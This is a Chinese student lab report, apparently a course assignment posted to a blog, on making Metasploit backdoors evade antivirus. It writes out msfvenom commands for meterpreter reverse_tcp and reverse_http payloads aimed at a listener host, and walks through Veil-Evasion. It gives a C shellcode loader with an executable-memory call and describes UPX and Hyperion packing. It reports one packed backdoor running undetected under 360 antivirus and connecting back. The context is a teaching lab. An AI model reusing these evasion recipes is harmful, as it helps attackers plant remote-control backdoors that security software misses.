(1) 正确使用msf编码器(√),msfvenom生成如jar之类的其他文件(√),veil-evasion(√),加壳工具(√),使用shellcode编程(√)
(2)通过组合应用各种技术实现恶意代码免杀(√)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(√)
(1)杀软是如何检测出恶意代码的?
(2)免杀是做什么?
(3)免杀的基本方法有哪些?
在本次实验中,掌握了更多种后门程序的生成方法,也掌握了如何组合多种后门程序来实现免杀;实验中我也存在很多问题,但是最后都得以解决,受益匪浅。
问题:在上传文件的时候文件名出现了问题。
解决:我就把20164325改成了4325就可以啦。
问题:然而我没有成功安装成功。我还试了另外一种方法安装也没有成功;
sudo apt-get install veil-evasion 安装veil-evasion
(真的等它安装完等了好长时间)
下载好之后veil开始安装,一路Y
没成功。
解决:最后我是在同学那考过来的。
问题:用shellcode编程,生成的文件运行回连时会出现问题(打不开文件),如下:
解决:原本我打的主函数内容是:
int main() { int (*func)() = (int(*)())buf; func(); }
出现了上面的问题后,我修改了主函数内容,新内容为:
int main()
{
void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,buf,sizeof buf);
((void(*)())exec)();
}
结果成功;
问题:在做任务三时,桥接模式一直连接不成功;尝试过重启电脑,也没有解决。
解决:对ipv4进行了配置,结果桥接模式成功连接。
1.1在实验二中使用msf生成了后门程序,我使用Virscan对生成的后门程序进行扫描,结果如下:
显然,裸奔的后门非常容易被检查出来,49个杀软有28个都检查出了它。
1.2然后进行十次编码使用命令
1 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.113.137 LPORT=4325 -f exe > 4325wxr.exe
将编码十次后的可执行文件上传到Virscan扫描后结果如下:
结果并没有什么改变,也就是说使用msf编码器多次编码对免杀没有太大的效果
1 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT=4325 x> wxr_backdoor_java.jar
这里我的kali的ip变了,因为是隔天做的。
我在Virscan网页下查杀出现了问题,文件名有问题,所以我就转移到VirusTota网页查,结果如下:
结果不理想。
1 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT=4325 x> wxr_backdoor.php
结果如下:
3.1我是在同学那考过来的veil-evasion。
3.2输入veil
输入 use evasion
输入命令use python/meterpreter/rev_tcp.py
设置反弹连接IPset LHOST 192.168.113.137注意此处的IP是Kali的ip
设置端口set LPORT 4325
输入generate生成文件,接着输入你想要playload的名字: veil_c_4325
我这里用的Python却以c的命名veil_c_4325,到之后我把文件从虚拟机共享到windows的时候改了个名字,改成了veil_python_4325;下面就是我在Virscan网页下查杀的情况。
扫描结果49个杀软有14个检查除了它,已经比只使用msf编码器,生成exe文件要好很多了!
4.1 msfvenom生成shellcode:
1 msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.113.138 LPORT=4325 -f c
4.2 创建一个文件20164325.c vim 20164325.c
4.3 然后将unsigned char buf[]赋值到其中,保存;
代码如下: unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 。。。。。。 "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() {
void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,buf,sizeof buf);
((void(*)())exec)();
}
4.4 使用命令i686-w64-mingw32-g++ 20164325.c -o 20164325.exe编译.c文件为可执行文件
4.5 运行监听,结果成功:
4.6 使用VirusTota网页下检查结果:
使用Virscan网页下检查结果(更名为4325)
我开启的时候,360杀毒并没有检测到并制止我打开的这个文件。当我自定义扫描linux时,也只是扫描出来了java那个文件。
5.1 使用压缩壳UPX,给之前的20164325.exe加个壳得到wxr_ke.exe:
Upx 20164325.exe –o wxr_ke.exe
5.2 扫描结果如下:
方法一:用了shellcode编程+加壳混合的方法(成功免杀)
就是用任务一的两种方法进行混合,因为是在一次实验,所以我更改了名称(4325_upx.exe)。
使用360杀毒查杀,定向查杀linux文件夹中的文件,共存!
反弹连接:
方法二:用了shellcode编程+加壳+加密壳hyperion混合的方法(没成功免杀)
加密壳hyperion方法: 1.将之前生成的4325.c文件拷贝到 /usr/share/windows-binaries/hyperion/ 目录中 2.进入目录 /usr/share/windows-binaries/hyperion/ 中 3. 输入命令 wine hyperion.exe -v 4325.c 4325_upx_hyperion.exe 进行加壳;
没有实现反弹连接;
找原因时,我先检测了原文件有没有问题(结果可以实现反弹连接),我在检查了方法一只加一层压缩壳的情况下有没有问题(结果可以实现反弹连接),然后我再检验4325_upx_hyperion.exe(不能实现反弹连接)。
方法:先把kali的网络配置器改为桥接模式,获取对方电脑的ip,并实现与另一台电脑的连接(ping),在按照任务一中的方法生成个后门程序,我是用的shellcode编译了一个.c文件,然后编译生成了一个.exe文件(名为20164325wxr),进行攻击(这里要注意ip要填对);生成后门程序后nc传输到对方电脑,在对方电脑杀软打开的情况下进行回连;成功!
杀软版本:
原文:https://www.cnblogs.com/wozuiku/p/10628812.html